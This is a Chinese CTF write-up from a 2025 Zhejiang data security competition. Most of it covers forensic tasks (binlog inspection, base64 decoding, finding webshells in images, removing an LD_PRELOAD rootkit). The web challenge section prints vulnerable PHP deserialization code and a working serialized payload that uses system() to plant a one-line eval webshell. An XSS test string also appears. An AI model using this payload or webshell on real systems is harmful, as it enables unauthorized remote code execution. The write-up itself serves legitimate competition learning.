2025浙江省信息通信协会数据安全大赛决赛WriteUp
初赛忘了保存,翻了下文件,决赛的附件题就记得几道,其他的都是在线的,没写wp
决赛做出来个人赛几题(secret、大浪淘金方显英雄本色,其他的就忘记了),个人赛能进前7吧。团队赛两个场景题,各有10个flag,工控环境和测试环境。分别外网打内网打到里面好几层,做代理链之类,很可惜,没做出来后面的。第二个场景要制作字典爆破密码,由于进入后台也没成功写文件,这里就不写了,我做的都是简单的,其他wp是来自QK的
相关附件在:https://github.com/TajangSec/2025_ZJ_TGJ_competition
个人赛
勒索病毒
检查mysql binlog文件,在binlog.000003中有flag
命令:cat /var/lib/mysql/binlog.000003
secret
V20xNGFGb3pkR3RaV0ZKb1dETk9iRmt6Vm5saFdGSTFXREpzZWxneldteGpibXhtWVZjMU1GcFlTbXhqTTFKd1ltMWtPUT09
三次base64
大浪淘金方显英雄本色
每种类型文件都被植入了恶意代码或错误代码,请找出,拼接文件名,md5编码后为flag
要求:Hint2:拼接顺序遵循txt>png>pdf的原则,同种⽂件遵循⾸字⺟⼤写>⾸字⺟⼩写>⾸字⺟数字,a-z/0-9的顺序 Hint3:示例:xxxx.txt,xxxx.png,xxxx.pdf
做完两边还在问我><
我电脑有河马查杀,所以扫了一下直接出来5个含有一句话的png
txt是一个个看的
pdf是很多人搞不出来的地方,这里并不是pdf内容有恶意代码
我用的exiftool .,然后搜索id时,发现了invalid,总共有五个文件有这个提示
所以这五个就出来了,没想到这题很多人没做出来。
贴一下QK的这题解法
txt: 用cat * ,然后人肉找
异常字符有:
<script>alert(document.cookie)</script>紫薇小区42号
625311200504206457
15522489864
李丽华
png:用strings可以找到一句话木马
pdf: 用acrobat预览,会发现有5个文件没有预览图
预览图,离谱
运维题(QK太强了)
这题真不会
查看/etc/passwd,发现恶意用户badguy,但是删不掉
根据给的提示查看/etc/ld.so.preload
发现libhash.so,cat一下发现关键字sysproc
将/etc/ld.so.preload、libhash.so删除,再ps -ef查看进程,可以发现sysproc(未删除前面两个文件时该进程不可见)
将sysproc kill掉,找到文件所在位置,删除文件
随后删除badguy
再次查看check文件时已经有flag了(这里我还盲删了/root/.ssh,但猜测应该和本题关系不大)
团队赛
WEB1
访问www.zip下载源代码,审计代码
```php {title=”auth.php”} <?php header(“content-type:text/html;charset=utf-8”); include(“lib/manager.php”);
// 配置项 define(‘AUTH_USER’, ‘admin’); define(‘AUTH_PASS’, ‘admin@123’); define(‘SESSION_COOKIE’, ‘portal_session’);
$userInput = isset($_POST[‘user’]) ? $_POST[‘user’] : die(‘Access denied: username required’); $passInput = isset($_POST[‘pass’]) ? $_POST[‘pass’] : die(‘Access denied: password required’);
if($userInput === AUTH_USER && $passInput === AUTH_PASS) { echo ‘’; echo “<h2>Industrial Control Portal</h2>”; echo “<p>Authenticated as: “ . htmlspecialchars($userInput) . “</p>”;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(!isset($_COOKIE[SESSION_COOKIE])) {
$sessionObj = new PortalUser(AUTH_USER);
$encodedData = base64_encode(serialize($sessionObj));
setcookie(SESSION_COOKIE, $encodedData, time()+3600, "/", "", false, true);
echo "<p>Session initialized</p>";
} else {
$serializedData = base64_decode($_COOKIE[SESSION_COOKIE]);
unserialize($serializedData);
}
echo '<div class="dashboard">
<h3>Device Monitoring</h3>
<p>Connected devices: 15</p>
<p>Firmware version: v3.1.2</p>
</div>'; } else {
echo "<script>alert('Invalid credentials!');window.location.href='./index.html';</script>"; } ?> ```
这部分代码表示当用户名密码正确时,会将cookie中的portal_session字段进行反序列化
接下来寻找可执行命令的类,由于auth.php在头部加载了manager.php,重点检查manager.php,找到执行代码类
```php {title=”manager.php”} <?php include(“logger.php”);
class AccessGreeter { public $greetingCallback;
1
2
3
4
5
6
7
public function handleAccess($visitor) {
if(isset($this->greetingCallback)) {
call_user_func($this->greetingCallback, $visitor);
} else {
echo "Access granted for " . htmlspecialchars($visitor);
}
} }
class PortalUser { private $userIdentifier; private $accessHandler;
1
2
3
4
5
6
7
8
public function __construct($identifier, $handler = null) {
$this->userIdentifier = $identifier;
$this->accessHandler = $handler ? $handler : new AccessGreeter();
}
public function __destruct() {
$this->accessHandler->handleAccess($this->userIdentifier);
} }
class EquipmentInterface { public $deviceCode; public $operation;
1
2
3
4
5
public function __wakeup() {
if(isset($this->operation)) {
call_user_func($this->operation, $this->deviceCode);
}
} } ?> ```
最后构造反序列化
1
O:18:"EquipmentInterface":2:{s:10:"deviceCode";s:41:"echo "<?php eval($_POST[1]);?>" > 111.php";s:9:"operation";s:6:"system";}
写入cookie执行,完成种马
蚁剑连接,在c:\users\administrator\desktop下找到flag








